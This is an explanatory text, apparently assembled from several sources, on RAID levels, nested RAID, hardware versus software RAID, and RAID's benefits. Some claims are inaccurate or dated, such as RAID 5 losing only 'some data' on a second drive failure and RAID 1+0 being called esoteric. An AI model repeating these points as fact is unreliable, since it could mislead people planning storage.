RAID 1 uses mirroring to write the data to the drives. It also offers fault tolerance from the disk errors and the array continues to operate efficiently as long as at least one drive is functioning properly.

The trade-off associated with the RAID 1 level is the cost required to purchase the additional disks to store data.

RAID 2:
It uses Hamming Codes for error correction. In RAID 2, the disks are synchronized and they're striped in very small stripes. It requires multiple parity disks.

RAID 3:
This level uses a dedicated parity disk instead of rotated parity stripes and offers improved performance and fault tolerance.
The benefit of the dedicated parity disk is that the operation continues without parity if the parity drive stops working during the operation.

RAID 4:
It is similar to RAID 3 but it does block-level stripping instead of the byte-level stripping and as a result, a single file can be stored in blocks. RAID 4 allows multiple I/O requests in parallel but the data transfer speed will be less.
Block level parity is used to perform the error detection.

RAID 5:
RAID 5 uses block-level stripping with distributed parity and it requires all drives but one to be present to operate correctly.
The reads are calculated from the distributed parity upon the drive failure and the entire array is not destroyed by a single drive failure.
However, the array will lose some data in the event of the second drive failure.

The above standard RAID levels can be combined together in different ways to create Nested RAID Levels which offer improved performance.
Some of the known Nested RAID Levels are -

RAID 0+1
RAID 1+0
RAID 3+0
RAID 0+3
RAID 10+0
RAID 5+0
RAID 6+0

Hardware RAID
  • A conventional Hardware RAID consists of a RAID controller that is installed into the PC or server, and the array drives are connected to it.
  • In high end external intelligent RAID controllers, the RAID controller is removed completely from the system to a separate box. Within the box the RAID controller manages the drives in the array, typically using SCSI, and then presents the logical drives of the array over a standard interface (again, typically a variant of SCSI) to the server using the array.

Software RAID:

In software RAID a software does the work of RAID controller in place of a hardware. Instead of using dedicated hardware controllers or intelligent boxes, we use a particular software that manages and implements RAID array with a system software routine.

Comparing Hardware RAID & Software RAID

Portability

  • OS Portability

    Software RAID is not usable across operating systems. So you cannot, for example, use two RAID disks configured in Linux with Windows XP and vice versa. This is big issue for dual booting systems where you will either have to provide a non-RAID disk for data sharing between the two operating system or use hardware RAID instead.

    As you know, dual booting is mostly obsolete these days as you can run multiple operating systems on the same machine using virtualization software like vmware & xen.

  • Hardware Portability

    Software RAID
    In Linux you can mirror two disks using RAID-1, including the boot partition. If for any reason the hardware goes bad, you can simply take the harddisk to a different machine and it will just run fine on the new hardware. Also with a RAID-1 array, each of the harddisk will have full copy of the operating system and data, effectively providing you with two backups, each of which can be run from a different hardware.

    Unfortunately in Windows it is not so easy to switch a operating systrem from one hardware to another, but that is the story of priprietary licenses and we will keep it for another day.

    Hardware RAID

    Hardware RAID is not so portable. You cannot just swap the hardware to a different machine and hope it will work. You have to find a Motherboard which is compatible with your RAID controller card; otherwise you can kiss your data goodbye. Also there is a bigger issue of problem with the RAID controller itself. If it fails and you cannot get the same controller from the market (and it has probably become obsolete by then), then again you can kiss your data goodbye.

Easy & Speedy Recovery

It may seem trivial but trust me, for a busy and loaded server, an easy and speedy recovery, that too inside the operating system without having to reboot is what one can dream of. Imagine if during the peak hours, your RAID system crashes and you are forced to reboot the machine to make changes to it to restore your data! Software RAID's like in Linux, not only continues working even when the hardware has failed, but also starts restoring the RAID array, should any spare disk be available. All of these happens in the background and without affecting your users. This is where software RAID shines brilliantly.

System Performance

Software RAID uses the CPU to do the work of the RAID controller. This is why high-end hardware RAID controller outperforms software RAID, especially for RAID-5, because it has a high powered dedicated processor. However for low end hardware RAID, the difference may be neglible to non-existent. In fact it is possible for the software RAID perform better than low end hardware RAID controller simply because today's desktop's and workstations are powered by very powerful processors and the task is trivial to them.

Support for RAID Standards

High-end Hardware RAID may be slightly more versatile than Software RAID in support for various RAID levels. Software RAID is normally support levels 0, 1, 5 and 10 (which is a combination of RAID 0 and RAID 1) whereas many Hardware RAID controller can also support esoteric RAID levels such as RAID 3 or RAID 1+0. But frankly who uses them?

Cost

This is where software RAID again scores over hardware RAID. Software RAID is free. Hardware RAID is moderate to high priced and can put a strain on your budget if deployed widely.

But over the years the cost of hardware RAID has come down exponentially. So it may not be too far when more affordable RAID-5 cards will be built-in on newer motherboards.

Future Proof

Gone are the days when we could associate software RAIDs with bugs and OS problems. Nowadays software RAIDs are almost flawless. We are using software RAID in linux operating system for several years and haven't experienced any problem whatsoever. On the contrary, hardware RAID has a single point of failure and that is its hardware controller. If it crashes then your only option is to find another equivalent RAID controller from the market; by this time the model may become obsolete and you may not even find anything compatible. You are as such faced with the haunting prospect of losing all your data, should the RAID controller fail. Software RAID will never become obsolete and will continue to get updated with updated versions of your operating system.

Why Use RAID? Benefits and Costs, Tradeoffs and Limitations

RAID offers many advantages over the use of single hard disks, but it is clearly not for everyone. The potential for increased capacity, performance and reliability are attractive, but they come with real costs. Nothing in life is free. In this section I take an overview look at RAID, to help explain its benefits, costs, tradeoffs and limitations. This should give you a better idea if RAID is for you, and help you to understand what RAID can do--and what it can't do.

As you read on, it's essential to keep in mind that with RAID, it's definitely the case that "the devil is in the details". Most common blanket statements made about RAID like "RAID improves availability" or "RAID is for companies that need fast database service" or "RAID level 5 is better than RAID level 0" are only true at best part of the time. In almost every case, it depends. Usually, what RAID is and what it does for you depends on what type you choose and how you implement and manage it. For example, for some applications RAID 5 is better than RAID 0; for others, RAID 0 is vastly superior to RAID 5! There are situations where a RAID design, hardware and software that would normally result in high reliability could result instead in disaster if they are not properly controlled.

RAID Benefits

Alright, let's take a look at the good stuff first. :^) RAID really does offer a wealth of significant advantages that would be attractive to almost any serious PC user . (Unfortunately, there are still those pesky costs ,tradeoffs and limitations to be dealt with... :^) ) The degree that you realize the various benefits below does depend on the exact type of RAID that is set up and how you do it, but you are always going to get some combination of the following:

Higher Data Security: Through the use of redundancy, most RAID levels provide protection for the data stored on the array. This means that the data on the array can withstand even the complete failure of one hard disk (or sometimes more) without any data loss, and without requiring any data to be restored from backup. This security feature is a key benefit of RAID and probably the aspect that drives the creation of more RAID arrays than any other. All RAID levels provide some degree of data protection , depending on the exact implementation, except RAID level 0 .

Fault Tolerance: RAID implementations that include redundancy provide
a much more reliable overall storage subsystem than can be achieved by a single disk.
This means there is a lower chance of the storage subsystem as a whole failing
due to hardware failures. (At the same time though, the added hardware used in
RAID means the chances of having a hardware problem of some sort
with an individual component, even if it doesn't take down the storage subsystem, is increased

Improved Availability: Availability refers to access to data. Good RAID systems improve availability both by providing fault tolerance and by providing special features that allow for recovery from hardware faults without disruption.

Increased, Integrated Capacity: By turning a number of smaller drives into a larger array,
you add their capacity together (though a percentage of total capacity is lost to overhead or
redundancy in most implementations). This facilitates applications that require large
amounts of contiguous disk space, and also makes disk space management simpler.
Let's suppose you need 300 GB of space for a large database. Unfortunately, no hard disk
manufacturer makes a drive nearly that large. You could put five 72 GB drives into the system,
but then you'd have to find some way to split the database into five pieces, and you'd be
stuck with trying to remember what was were. Instead, you could set up a RAID 0 array
containing those five 72 GB hard disks; this will appear to the operating system as a single,
360 GB hard disk! All RAID implementations provide this "combining" benefit, though the
ones that include redundancy of course "waste" some of the space on that redundant information.

Improved Performance: Last, but certainly not least, RAID systems improve performance by allowing the controller to exploit the capabilities of multiple hard disks to get around performance-limiting mechanical issues that plague individual hard disks. Different RAID implementations improve performance in different ways and to different degrees, but all improve it in some way.